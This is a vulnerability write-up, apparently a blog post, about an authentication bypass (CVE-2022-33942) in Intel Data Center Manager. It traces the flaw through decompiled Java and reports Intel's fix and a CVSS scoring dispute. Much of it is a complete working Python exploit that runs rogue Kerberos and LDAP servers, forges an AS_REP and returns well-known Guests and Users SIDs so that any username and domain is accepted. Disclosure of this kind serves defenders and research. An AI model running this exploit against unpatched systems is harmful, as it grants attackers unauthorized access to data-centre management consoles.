TL;DR
Intel’s Data Center Manager Console is a real-time monitoring and management all-in-one console that allows you to manage your entire data center.
This small series of two blog posts covers an entire vulnerability chain that goes from an unauthenticated user to full remote code execution against Intel’s Data Center Manager (up to version 4.1.1.45749). All described issues were found purely based on a source code review of the decompiled application.
The chain’s first vulnerability bypasses DCM’s entire authentication process if the application is configured to allow authentication from Active Directory groups with publicly known SIDs. Since Intel’s DCM only relies on the SID and there’s no validation of the given active directory service, it is trivially easy to force the application to communicate with an arbitrary Kerberos/LDAP server. The arbitrary server then answers the authentication requests from Intel’s DCM by simply returning a successful authentication, including a known/matching SID. This ultimately allows authenticating using any user with any password and any Active Directory domain.
Intel has released its security advisory INTEL-SA-00713 about this issue and has assigned CVE-2022-33942 to it.
Thanks, rootkid, for proofreading!
Vulnerable Configuration
Let’s assume that an administrator configured the group Guests of the domain rce.local to be allowed to access the DCM with the lowest possible rights, which is DCM’s Guest level:
Whereof the Guests group only has no current group members:
Based on this configuration, you could assume that this configuration is secure because:
- You have to be a member of the Guests group within the rce.local domain
- You have to know the password of any member of the Guests group
Let’s prove that you’re wrong.
Authentication Options
When hitting DCM on port 8643 using HTTPS, you are presented with a typical authentication screen of the DcmConsole. Here, you can also select AD Account as an authentication type, which will show an additional field called Domain:
So what happens if you try to authenticate using this option: The application issues an HTTP POST request which has its type set to 1:
POST /DcmConsole/login/login HTTP/1.1 Host: 192.168.178.22:8643 Content-Length: 175 Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="99" Accept: application/json, text/plain, */* Content-Type: text/plain Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 Sec-Ch-Ua-Platform: "macOS" Origin: https://192.168.178.22:8643 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://192.168.178.22:8643/DcmConsole/ Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Connection: close {"antiCSRFId":null,"requestObj":{"name":"mrtuxracer","password":"Password0","type":1,"domain":"hack.local","loginTime":"Sun Jun 26 2022 12:05:07 GMT+0200 (Central European Summer Time)"}}
Source Code Review FTW
I will guide you step-by-step through how I discovered this vulnerability and will utilize an arbitrary Kerberos and LDAP server implementation via Python to exploit it. My exploit only assumes that you have control over a custom domain (I’m using hack.local for demo purposes). I have also hardcoded the Active Directory password Password0 into the script, meaning you can choose any user you want, but you must use that password for Kerberos reasons.
Spoofing a Kerberos Authentication Server
Most of the responsible source code can be found in the
class.com.intel.console.server.login.UserMgmtHandler
The first important thing here is the differentiation between the authentication types specified by the type parameter. When selecting type 1 (aka Active Directory), the function loginAD()
is called on line 1030, which hands over all the request values, including the username, password, and the domain:
/* */ public static int login(HttpServletRequest request, int type, String name, String password, String domain, boolean noSession) throws ConsoleAuthCheckException { /* 1022 */ List exceededSessions = new LinkedList<>(); /* 1023 */ int userType = 2; /* */ /* 1025 */ if (type == 0) { /* 1026 */ logout(request, noSession); /* 1027 */ userType = loginConsole(request, name, password, exceededSessions, noSession); /* 1028 */ } else if (type == 1) { /* 1029 */ logout(request, noSession); /* 1030 */ userType = loginAD(request, name, password, domain, exceededSessions, noSession); /* 1031 */ } else if (type == 2) { /* 1032 */ logout(request, noSession); /* 1033 */ userType = loginLDAP(request, name, password, exceededSessions, noSession); /* */ }
The method loginAD()
does a couple of preflight things, such as getting the full domain name (line 1190) and getting the pure user name (line 1191). This is because you could also authenticate using the username@domain schema, for example, against DCM’s REST API. The resulting values are then used as java.security.krb5
properties, which is at the same time the first significant piece of the puzzle – the attacker can control the kdc/realm of the authenticating server:
/* */ public static int loginAD(HttpServletRequest request, String name, String password, String domain, List exceededSessions, boolean noSession) throws ConsoleAuthCheckException { /* 1187 */ HttpSession session = noSession ? null : request.getSession(true); /* 1188 */ Subject subject = new Subject(); /* */ /* 1190 */ String fullDomain = getFullDomain(name, domain); /* 1191 */ String pureUser = getPureUser(name); /* */ /* 1193 */ System.setProperty("java.security.krb5.kdc", fullDomain.toUpperCase(Locale.ENGLISH)); /* 1194 */ System.setProperty("java.security.krb5.realm", fullDomain.toUpperCase(Locale.ENGLISH));
Next comes the authentication process itself, which is based on Kerberos v5 and which will fail if the Kerberos authentication is not successful (lines 1201 to 1203):
/* 1196 */ LoginContext lc = null; /* */ /* */ try { /* 1199 */ lc = new LoginContext("Krb5Login", subject, new DcmLoginCallbackHandler(pureUser, password)); /* */ /* 1201 */ lc.login(); /* 1202 */ } catch (LoginException le) { /* 1203 */ handleAuthenticationException(le); /* */ }
So, how do we get past this check if we have control over the domain? Correct: We need to build an arbitrary Kerberos server to answer the authentication request and return a successful authentication.
AS_REQ
Let’s quickly dive into the Kerberos v5 authentication process and how DCM uses it. When the
call on line 1201 is reached, DCM sends an login()
request to the given Kerberos server. This request looks like the following:AS_REQ
To answer the AS_REQ
request, extracting a couple of information from the request is essential:
- nonce – the answer must also contain the nonce that the client (DCM) provided. The intention is to prevent replay attacks.
- realm – this is essentially the requested Active Directory domain and is required for the AS_REP
- username – this is the Active Directory user which we need to return a successful authentication for.
- etype – these are the encryption algorithms that the client supports. We don’t need to extract those but just choose one for the response.
AS_REP
In response to the AS_REQ
the arbitrary Kerberos server will answer with an AS_REP
message, which looks like the following:
The first etype points to the encryption algorithm, followed by the realm and the username, aka CNameString. The most important part is the enc-part at the end of the message because it is an authentication proof. It is a data blob encrypted by the Kerberos server using the user’s password, which the Kerberos fetched from its database. If the user also supplied the same password during the authentication process, DCM can successfully decrypt and read its contents.
The decrypted enc-part looks like the following:
key=EncryptionKey: keytype=18 keyvalue=0x2deb4c8d3c541791c23080abf14d896bc27609e24f80a15911d0720ec83d5237 last-req=LastReq: Sequence: lr-type=0 lr-value=20220627111947Z nonce=76839024 key-expiration=20370914024805Z flags=6356992 authtime=20220627111947Z endtime=20220627211947Z srealm=HACK.LOCAL sname=PrincipalName: name-type=2 name-string=SequenceOf: krbtgt HACK.LOCAL
Some key data points here are:
- nonce – This is the same nonce value that the client presented within the AS_REQ message and reused here for integrity validation purposes
- authtime – This is used to make sure there are no clock skews, as well as the request, isn’t replayed
- endtime – This is used to specify the validity of the data
- srealm – This matches the realm from the AS_REQ
My final exploit automagically sets all the required values and encrypts the enc-part using the hardcoded password Password0, making the DCM pass the Kerberos authentication successfully.
Returning Arbitrary LDAP Objects
After passing the Kerberos authentication, the application switches over to LDAP by using the com.intel.console.server.login.ADHelper
class (line 1206, 1215-1216). This means that we also need an arbitrary LDAP server to answer any incoming LDAP queries from the DCM.
The init()
method here simply prepares the LDAP connection to the very same host given by the fullDomain
variable, which we do have under control, and finally causes an LDAP bindRequest (line 1216):
/* 1206 */ ADHelper adHelper = null; /* 1207 */ int[] userType = { 2 }; /* */ /* */ try { /* 1210 */ String domainUserName = getDomainUser(name, fullDomain); /* 1211 */ Boolean enbaleTls = Boolean.valueOf(Boolean.parseBoolean(Configuration.getProperty(InternalProperty.ENABLE_AD_TLS /* 1212 */ .name()))); /* 1213 */ int adPort = Integer.parseInt(Configuration.getProperty(InternalProperty.AD_PORT /* 1214 */ .name())); /* 1215 */ adHelper = new ADHelper(fullDomain, adPort, domainUserName, password, enbaleTls); /* 1216 */ adHelper.init();
The
looks like the following:bindRequest
And will be answered by our arbitrary LDAP server using a bind success message, which looks like the following:
The next few lines are more important:
/* 1218 */ String userSid = adHelper.getUserSid(pureUser); /* 1219 */ UserInfo[] userInfo = getUsersBySidAndDomain(userSid, fullDomain); /* 1220 */ DcmUserPrincipal userPrincipal = createUserPrincipal(domainUserName, userInfo, 1, userType);
First, the call to getUserSid()
(line 1218) constructs an LDAP search query (line 73) and performs the actual LDAP searchRequest (line 80) to return the objects SID (lines 82-86) or otherwise null if the queried user isn’t found:
/* */ public String getUserSid(String userName) throws NamingException { /* 72 */ String searchBase = makeRootBase(); /* 73 */ String searchFilter = "(&(objectClass=user)(sAMAccountName=" + userName + "))"; /* */ /* */ /* 76 */ SearchControls searchControls = new SearchControls(); /* 77 */ searchControls.setSearchScope(2); /* 78 */ searchControls.setReturningAttributes(new String[] { "objectSID" }); /* */ /* 80 */ NamingEnumeration results = this.ctx.search(searchBase, searchFilter, searchControls); /* */ /* 82 */ SearchResult result = null; /* 83 */ if (results.hasMoreElements()) { /* 84 */ result = results.nextElement(); /* 85 */ return buildSid((byte[])result.getAttributes() /* 86 */ .get("objectSID").get()); /* */ } /* */ /* 89 */ return null; /* */ }
The raw
looks like the following:searchRequest
However, our arbitrary LDAP server will return a SID for any queried user of
(hex: S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295
), which is important to pass another check later on:0x0105000000000005ffffffffffffffffffffffffffffffffffffffff
The call to
on line 1219 finally constructs a SQL query validating the previously received getUsersBySidAndDomain()
sid
against DCM’s database (line 421):
/* */ private static UserInfo[] getUsersBySidAndDomain(String sid, String domain) throws ConsoleDbException { /* 415 */ List userList = new LinkedList<>(); /* 416 */ Connection conn = ConnectionProvider.getConnection(); /* 417 */ PreparedStatement statement = null; /* 418 */ ResultSet res = null; /* */ /* */ try { /* 421 */ String query = "select \"id\", \"name\", \"description\",\"type\",\"domain\",\"account_type\",\"sid\" from \"T_User\" where sid=? and domain=?"; /* */ /* 423 */ statement = conn.prepareStatement(query); /* 424 */ int paramIndex = 1; /* 425 */ statement.setString(paramIndex++, sid); /* 426 */ statement.setString(paramIndex++, domain); /* 427 */ res = statement.executeQuery(); [...] /* 462 */ return userList.toArray(new UserInfo[userList.size()]); /* */ }
However, since we’re using our own arbitrary Kerberos/LDAP, which returns a random SID here (the SID of real users are impossible to guess), it’ll return an empty
on line 462:userList
Since userList
is empty, the call to the next method createUserPrincipal()
on line 1220 will also return null
resulting in userPrincipal
also becoming null
:
/* */ private static DcmUserPrincipal createUserPrincipal(String userName, UserInfo[] userInfo, int accountType, int[] userType) { /* 1276 */ if (userInfo == null || userInfo.length == 0) { /* 1277 */ return null; /* */ }
This implementation is aimed at the single Active Directory user authentication process. However, we cannot exploit this route since we don’t know (and cannot guess) the SID of any single user object of an Active Directory.
Confusing DCM with Known SIDs
What happens next is a check whether userPrincipal
is null (line 1222). Since the single-user authentication process failed, the next logical step is verifying whether the user’s group is allowed to authenticate because this is an actual authentication option in DCM. This happens by using the following sequence to fetch the user’s Active Directory group information:
/* 1222 */ if (userPrincipal == null) { /* 1223 */ String[] groupNames = adHelper.getUserGroupSid(userSid); /* 1224 */ UserInfo[] groupInfo = getUserGroupInfo(groupNames); /* 1225 */ userPrincipal = createUserPrincipal(domainUserName, groupInfo, 2, userType); /* */ }
The call on line 1223 passes our arbitrary user SID of
into S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295
where a search for the given user SID happens on line 122:getUserGroupSid()
/* */ public String[] getUserGroupSid(String userSid) throws NamingException { /* 114 */ String searchBase = makeRootBase(); /* 115 */ String searchFilter = "(&(objectClass=user)(objectSid=" + userSid + "))"; /* */ /* 117 */ SearchControls searchControls = new SearchControls(); /* 118 */ searchControls.setSearchScope(2); /* 119 */ searchControls.setReturningAttributes(new String[] { "distinguishedName" }); /* */ /* */ /* 122 */ NamingEnumeration results = this.ctx.search(searchBase, searchFilter, searchControls); /* */ /* 124 */ SearchResult result = null; /* 125 */ if (results.hasMoreElements()) { /* 126 */ result = results.nextElement(); /* */ /* 128 */ String dn = (String)result.getAttributes().get("distinguishedName").get(); /* */ /* 130 */ SearchControls searchContext = new SearchControls(0, 0L, 0, new String[] { "tokenGroups" }, false, false); /* */ /* */ /* 133 */ results = this.ctx.search(dn, "(&(objectClass=user))", searchContext); /* 134 */ if (results.hasMoreElements()) { /* 135 */ SearchResult item = results.next(); /* 136 */ Attributes metadata = item.getAttributes(); /* 137 */ Attribute attribute = metadata.get("tokenGroups"); /* 138 */ NamingEnumeration tokens = attribute.getAll(); /* 139 */ List ret = new LinkedList<>(); /* 140 */ while (tokens.hasMore()) { /* 141 */ byte[] sid = (byte[])tokens.next(); /* 142 */ ret.add(buildSid(sid)); /* */ } /* 144 */ return ret.toArray(new String[ret.size()]); /* */ } /* */ } /* */ /* 148 */ return null; /* */ }
This causes two more LDAP queries. The first one is for the user object:
which our arbitrary LDAP server always answers regardless of the user SID by simply returning an arbitrary
:distinguishedName
The second LDAP query (line 133) queries for the
(aka the group SIDs) of the given user:tokenGroups
Since our arbitrary LDAP server knows the SID S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295, it will happily answer this request for the user’s group SIDs by responding with S-1-5-32-546 (hex: 0x01020000000000052000000022020000), S-1-5-32-545 (hex: 0x01020000000000052000000020020000) and another random ID. Thereby, the first two group SIDs are called “well-known-sids” and represent the Guests group and the Users group:
This means that the groupNames
array (line 1222) is now filled with the returned group SIDs and is passed into the getUserGroupInfo()
call on line 1224:
essentially builds a SQL query condition based on the different SIDs (lines 1312-1324):getUserGroupInfo()
/* */ private static UserInfo[] getUserGroupInfo(String[] groups) throws ConsoleDbException { /* 1310 */ UserInfo[] groupInfo = null; /* */ /* 1312 */ if (groups != null && groups.length != 0) { /* 1313 */ String condition = ""; /* 1314 */ for (String groupSid : groups) { /* 1315 */ if (condition.isEmpty()) { /* 1316 */ condition = condition + "("; /* */ } else { /* 1318 */ condition = condition + ","; /* */ } /* 1320 */ condition = condition + "'" + condition + "'"; /* */ } /* */ /* 1323 */ condition = condition + ")"; /* 1324 */ groupInfo = getUsers(" sid in " + condition); /* */ } /* 1326 */ return groupInfo; /* */ }
and finally passes the condition to another
call:getUsers()
in return performs an SQL query that checks whether the given SID exists in the database:getUsers()
/* */ private static UserInfo[] getUsers(String condition) throws ConsoleDbException { /* 517 */ List userList = new LinkedList<>(); /* */ /* 519 */ Connection conn = ConnectionProvider.getConnection(); /* 520 */ PreparedStatement statement = null; /* 521 */ ResultSet res = null; /* */ /* */ try { /* 524 */ String query = "select \"id\", \"name\", \"description\",\"type\",\"domain\",\"account_type\",\"sid\" from \"T_User\" where " + condition; /* */ /* 526 */ statement = conn.prepareStatement(query); /* 527 */ res = statement.executeQuery(); [...]
Since the administrator has actually configured the Guests group to be able to authenticate, it returns a couple of things, including the group name and its SID:
The last call in the authentication sequence goes to createUserPrincipal()
, which includes the data of the previous SQL query and ultimately checks whether the given user is present in DCM’s allowed users list:
/* */ private static DcmUserPrincipal createUserPrincipal(String userName, UserInfo[] userInfo, int accountType, int[] userType) { /* 1276 */ if (userInfo == null || userInfo.length == 0) { /* 1277 */ return null; /* */ } /* */ /* 1284 */ Map<integer, list<userinfo="">> usersByType = (Map<integer, list<userinfo="">>)Arrays.stream(userInfo).collect(Collectors.groupingBy(UserInfo::getType)); /* */ /* 1290 */ int[] userTypeOrder = { 1, 3, 4, 2 }; /* */ /* 1292 */ for (int type : userTypeOrder) { /* 1293 */ List userList = usersByType.get(Integer.valueOf(type)); /* 1294 */ if (userList != null && !userList.isEmpty()) { /* */ /* */ /* */ /* 1298 */ Collections.sort(userList); /* 1299 */ List userIds = (List)userList.stream().map(UserInfo::getId).collect(Collectors.toList()); /* 1300 */ userType[0] = type; /* 1301 */ return new DcmUserPrincipal(userName, userIds, accountType); /* */ } /* */ } /* */ /* 1305 */ return null; /* */ }</integer,></integer,>
Since the group S-1-5-32-546
is authorized to authenticate against DCM, and our arbitrary LDAP server returned a random user object, which has the same group SID set; DCM happily proceeds with authenticating the user by returning a DcmUserPrincipal
object:
This ultimately means that it is possible to authenticate against DCM using any username, and any domain name because the only thing being validated here is the user group’s SID.
Auto-Exploitation
I’ve put together a rather complex script to exploit this vulnerability:
import socket import struct import binascii from ldap3.protocol.rfc4511 import SearchResultReference from pyasn1.codec.der import decoder, encoder from pyasn1.codec.ber.encoder import encode from pyasn1.type.univ import noValue from datetime import datetime, timedelta from impacket.krb5 import constants from impacket.krb5.crypto import (Key, Enctype, encrypt, _AES256CTS) from impacket.krb5.asn1 import AS_REQ, AS_REP, ETYPE_INFO2, EncASRepPart from ldap3.protocol.rfc4511 import ( LDAPMessage, MessageID, ProtocolOp, BindResponse, ResultCode, SearchResultDone, SearchResultEntry, LDAPDN, PartialAttributeList, PartialAttribute, AttributeDescription, Vals, AttributeValue ) listen_ip = "0.0.0.0" with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s: # Bind the socket to the port server_address = (listen_ip, 88) s.bind(server_address) while True: print("\n[+] Waiting for incoming Kerberos UDP Request") data, address = s.recvfrom(4096) print("[+] Received connection from {}".format(address)) if data: # Refuse UDP connection with a KRB4KRB_ERR_RESPONSE_TOO_BIG # Details of the response don't really matter such as the domain name payload1 = bytes.fromhex("7e583056a003020105a10302011ea411180f32303232303631303134353030375aa50502030a6c5fa603020134a90b1b095243452e4c4f43414caa1e301ca003020102a11530131b066b72627467741b095243452e4c4f43414c") sent = s.sendto(payload1, address) break s.close() print("[+] Answered Kerberos UDP Authentication Request") # Let's open up port 88 for Kerberos v5 interactions with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: print("[+] Waiting for incoming Kerberos TCP Request") s.bind((listen_ip, 88)) s.listen() conn, address = s.accept() with conn: print("[+] Received Kerberos connection from {}".format(address)) while True: recvDataLen = struct.unpack('!i', conn.recv(4))[0] r = conn.recv(recvDataLen) while len(r) < recvDataLen: r += conn.recv(recvDataLen - len(r)) # Let's first parse the AS_REQ asReq = decoder.decode(r, asn1Spec=AS_REQ())[0] # Let's get a couple of things from the initial request required to build further responses nonce = asReq['req-body']['nonce'] realm = str(asReq['req-body']['realm']) username = str(asReq['req-body']['cname']['name-string'][0]) # Do some crypto stuff # salt is composed of the realm concatenated with the username salt = realm + username aesKey = _AES256CTS.string_to_key("Password0", salt, params=None).contents key = Key(Enctype.AES256, aesKey) # Some pre-recoded AS_REP message (encrypted part only) plainText = binascii.unhexlify("7981da3081d7a02b3029a003020112a12204202deb4c8d3c541791c23080abf14d896bc27609e24f80a15911d0720ec83d5237a11c301a3018a003020100a111180f32303232303631383133323432315aa20602040c3c5eb6a311180f32303337303931343032343830355aa40703050000610000a511180f32303232303631383133323432315aa611180f32303232303631383133323432315aa711180f32303232303631383233323432315aa90c1b0a4841434b2e4c4f43414caa1f301da003020102a11630141b066b72627467741b0a4841434b2e4c4f43414c") # Use some random confounder confounder = binascii.unhexlify("13371337133713371337133713371337") # first 16 bytes of an AS_REP message encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0] # Modify nonce to match the client's nonce encASRepPart['nonce'] = int(nonce) # Change timestamps to not screw any clock diffs my_date = datetime.now() current_timestamp = my_date.strftime('%Y%m%d%H%M%SZ') encASRepPart['authtime'] = current_timestamp encASRepPart['last-req'][0]['lr-value'] = current_timestamp # this is to make sure no clock scew occurs, because if starttime isn't present, the KDC's time is taken # see RFC4120 3.1.3 at https://datatracker.ietf.org/doc/html/rfc4120#page-48 encASRepPart['starttime'] = noValue # Endtime + 10 hours newEndTime = datetime.now() + timedelta(hours=10) encASRepPart['endtime'] = newEndTime.strftime('%Y%m%d%H%M%SZ') # Modify realms encASRepPart['srealm'] = realm encASRepPart['sname']['name-string'][1] = realm # encrypt again final = encrypt(key, 3, encoder.encode(encASRepPart), confounder) # Construct an AS_REP asRep = AS_REP() asRep['pvno'] = 5 asRep['msg-type'] = int(constants.ApplicationTagNumbers.AS_REP.value) asRep['padata'] = noValue asRep['padata'][0] = noValue asRep['padata'][0]['padata-type'] = constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value etype2 = ETYPE_INFO2() etype2[0] = noValue etype2[0]['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value etype2[0]['salt'] = salt encodedEtype2 = encoder.encode(etype2) asRep['padata'][0]['padata-value'] = encodedEtype2 asRep['crealm'] = realm asRep['cname'] = noValue asRep['cname']['name-type'] = constants.PrincipalNameType.NT_PRINCIPAL.value asRep['cname']['name-string'] = noValue asRep['cname']['name-string'][0] = username asRep['ticket'] = noValue asRep['ticket']['tkt-vno'] = constants.ProtocolVersionNumber.pvno.value asRep['ticket']['realm'] = realm asRep['ticket']['sname'] = noValue asRep['ticket']['sname']['name-string'] = noValue asRep['ticket']['sname']['name-string'][0] = "krbtgt" asRep['ticket']['sname']['name-type'] = constants.PrincipalNameType.NT_SRV_INST.value asRep['ticket']['sname']['name-string'][1] = realm asRep['ticket']['enc-part'] = noValue asRep['ticket']['enc-part']['kvno'] = 2 asRep['ticket']['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value # Using a pre-encrypted ticket here. The ticket itself doesn't matter since it's not used asRep['ticket']['enc-part']['cipher'] = binascii.unhexlify("3dbe1e264dc1c7c3c4fc619efbfb49ee8c10b76d6c312d10aab3d7e6b00ccbaa9d3b9ed706d79d9124920b36b07e67dbe709806a24b9edc12ed40f5cd835c14369763468008863ba7af2d94196de1e89d06bb58bad7dab97cc7a107818983546e9c0d9c115722f38207ad8ea94afdebc9b42326f2fd14a9b629f970617d9ac15009fcabd99c89471eb91fc8b07efadbcc6fb0d6af813ca452481d5ee6c530a0a54bdeacd96f2913adcbca80ab62396ce8f8734bf18c582035ac614257c41fec115989d73e8ef5587b1cadcb184694dd3c3cee1cb8d0e0b8019f9444f0de31bf4c2acbaecd4935ddb40cbe9ad34376289e4a82757f013f9686165e7b02846f162bae705ca02429068dd5b2f450e36a94b27f7cd30c36537fbbedaea6ee00431b7c8fbdda5cdf943790e9b82c59c95b95f9de7d6639bdba0c3dadf3b3bd4a207386bb9cfa06e539656d57796a8e28ddecca94af04348e3edb1833721c17fe4040ab4975a41a1a40ae67e87d00740c417cd7d915e2185c66861e32648489227b9e344c27c3290d67c9c8cb507646c77ef0fdbc7d527802b11b693b6cd12f393d5c9737ed1dead9fa769994b7c0c753d17f676b767334e898f52f496e6f4f46f57592d291f3425e5bb12fa02b352989dacc3746d1ef1690bb6c8b61cefb5560bdcf956af1b975c838df6d65118aa7306e39f3076780b4b450cf88b39e75fb13fa325e82cede2e9bab8eba0e0a5da73806eb174c85001240b2df27c5f732ca17943b6be6153e1c871ddd3c0fab49bca9d1218e5014a70c73399817efe7016df206ad42643e478656a700709f654f161366057c2fcdc61030b3c6ff562e5b702224d3720153b32f92c1c86f6500df17f5cce3b7d762a31fea8cc0ffb80062c36f46be5d0905c170ebf46d78cc7dc0644ca72ed01f8b561980de786441b595941fe5b3fde09b7945780d5fbf175bdd7512708af481dc1bac50d845b869b5afaf71de31efd0856df5b1283511537057618fd6251cacd8796723c4a7456fd180c04c2e87cc74e073e6e9992936e98aec4216e6a2da5423204f3a4c9853b0ce7d10847d898b5ba7c6a2c0a38f545da25410c9e94bb63d992850ef54733056ceec9e3a7256a935df1aee76000e0e388826c48c769c21f1767ffa468438a76d91c8ad152368a91c07512b6b4b0f6dfafbdeb3e2e15d3ea6e1aa9f5cfab0b0299bc100e38f1e40c8b3e0c993303a728ec4e21467492e56b64e489a2da387a80c432d04a58d05c27609a9ce085935417f3b219fc9bffc47433611ee50502911467ea843eef815c3f2593c12fd126228bcb0d57c7220f7e70719ab011f5b650f91540984d9c78dbf72852e836d833c5cc7b265311b593cf1d5b6c523829e74b3f939c291b7ceff9231e2cb39f035e3d44dfc720510b3bffdf12fb9090b03acdaa9f04295dc62d3d110e92461fcf66a0aa36543f2cc38114de298e3b6d9c40d283677a6cf2246860a931") asRep['enc-part'] = noValue asRep['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value asRep['enc-part']['kvno'] = 2 asRep['enc-part']['cipher'] = final encodedASREP = encoder.encode(asRep, asn1Spec=AS_REP()) # We need to prepend the packet with its length lenOfASREP = struct.pack('>I', len(encodedASREP)) final_payload = lenOfASREP + encodedASREP conn.send(final_payload) print("[+] Kerberos AS_REP sent!") s.close() break def SearchResultDone_request(messageID): srd = SearchResultDone() srd['resultCode'] = ResultCode('success') srd['matchedDN'] = '' srd['diagnosticMessage'] = '' msg = LDAPMessage() msg['messageID'] = MessageID(messageID) msg['protocolOp'] = ProtocolOp().setComponentByName('searchResDone', srd) return srd with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((listen_ip, 389)) s.listen() conn, address = s.accept() with conn: print("[+] Received LDAP connection from {}".format(address)) while True: r = conn.recv(2048) # First get the messageId ldap_resp, _ = decoder.decode(r, asn1Spec=LDAPMessage()) messageID = ldap_resp['messageID'] if messageID == 1: print("[+] Sending successful bindResponse") res = BindResponse() res['resultCode'] = ResultCode('success') res['matchedDN'] = '' res['diagnosticMessage'] = '' msg = LDAPMessage() msg['messageID'] = MessageID(messageID) msg['protocolOp'] = ProtocolOp().setComponentByName('bindResponse', res) data = encode(msg) conn.send(data) elif messageID == 2: print("[+] Sending searchResEntry results #1 to return invalid user SID to reach the vulnerable code branch") res = SearchResultEntry() res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local') res['attributes'] = PartialAttributeList() res['attributes'][0] = PartialAttribute() res['attributes'][0]['type'] = AttributeDescription('objectSid') res['attributes'][0]['vals'] = Vals() # translates to SID S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295 res['attributes'][0]['vals'][0] = AttributeValue(b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff') msg1 = LDAPMessage() msg1['messageID'] = MessageID(messageID) msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res) res = SearchResultReference() res.setComponentByPosition(0, 'ldap://hack.local/CN=Configuration,DC=hack,DC=local') msg2 = LDAPMessage() msg2['messageID'] = MessageID(messageID) msg2['protocolOp'] = ProtocolOp().setComponentByName('searchResRef', res) # Let's put the LDAPMessages together data = encode(msg1) + encode(msg2) + encode(SearchResultDone_request(messageID)) conn.send(data) elif messageID == 3: print("[+] Sending searchResEntry results #2 returning a dummy user record") res = SearchResultEntry() res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local') res['attributes'] = PartialAttributeList() res['attributes'][0] = PartialAttribute() res['attributes'][0]['type'] = AttributeDescription('distinguishedName') res['attributes'][0]['vals'] = Vals() res['attributes'][0]['vals'][0] = AttributeValue('CN=mrtuxracer,CN=Users,DC=hack,DC=local') msg1 = LDAPMessage() msg1['messageID'] = MessageID(messageID) msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res) # Let's put the LDAPMessages together data = encode(msg1) + encode(SearchResultDone_request(messageID)) conn.send(data) elif messageID == 4: print("[+] Sending searchResEntry results #3 exploiting the well-known 'Guests' SID") # Returns SIDs S-1-5-32-546 (Guests), S-1-5-32-545 (Users) and a random SID for Domain Users res = SearchResultEntry() res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local') res['attributes'] = PartialAttributeList() res['attributes'][0] = PartialAttribute() res['attributes'][0]['type'] = AttributeDescription('tokenGroups') res['attributes'][0]['vals'] = Vals() res['attributes'][0]['vals'][0] = AttributeValue( b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x22\x02\x00\x00') # S-1-5-32-546 (Guests) res['attributes'][0]['vals'][1] = AttributeValue( b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00') # S-1-5-32-545 (Users) res['attributes'][0]['vals'][2] = AttributeValue( b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff') # random sid msg1 = LDAPMessage() msg1['messageID'] = MessageID(messageID) msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res) # Let's put the LDAPMessages together data = encode(msg1) + encode(SearchResultDone_request(messageID)) conn.send(data) print("[+] Exploit done. Enjoy your access :-)") s.close() exit(0)
Here’s the exploit in action:
Intel’s Fix
Intel has fixed this issue by enforcing LDAPS and performing an additional certificate check against DCM’s internal SSL keystore, where the Active Directory CA certificate needs to be trusted, starting from version 5.0 of DCM.
About Intel’s CVSS (Mis)Interpretation
I initially reported this bug to Intel’s bug bounty program. It is essential to mention that they state in their program policy that they are using CVSS to estimate the impact of a vulnerability, which means they should follow the official CVSS definition, right?
Well, not so much. Intel downgraded this issue to a 8.8 at CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H and also mentions this in their security advisory INTEL-SA-00713. Are you curious why my official advisory rates this issue at 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) instead?
AV:A vs AV:N
Intel thinks that “DCM is an enterprise application and was developed for administrative networks”, which is their excuse to downgrade the AV vector. I confronted them with the official CVSS specification document, which defines the Adjacent
value as follows:
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE‑2013‑6014).
While the vulnerable component is indeed bound to the network stack, it is NOT limited at the protocol level – they don’t even enforce any iptables rules or similar to force it to be adjacent-like. Therefore AV must be set to N.
UI:R vs. UI:N
Intel also thinks that UI:R
applies because an Administrator has to configure DCM in a way that allows authentication for an Active Directory group with a well-known SID.
However, the CVSS specification document explicitly mentions this configuration change condition under the Attack Complexity vector:
If a specific configuration is required for an attack to succeed, the Base metrics should be scored assuming the vulnerable component is in that configuration.
This essentially means the UI vector should stay untouched at UI:N, and the AC vector must be set to the base metric at AC:L.
Consequences
Intel made a one-time exception and rewarded $10,000 for this bug, which is great, but it also was an exhausting fight to get to this point.
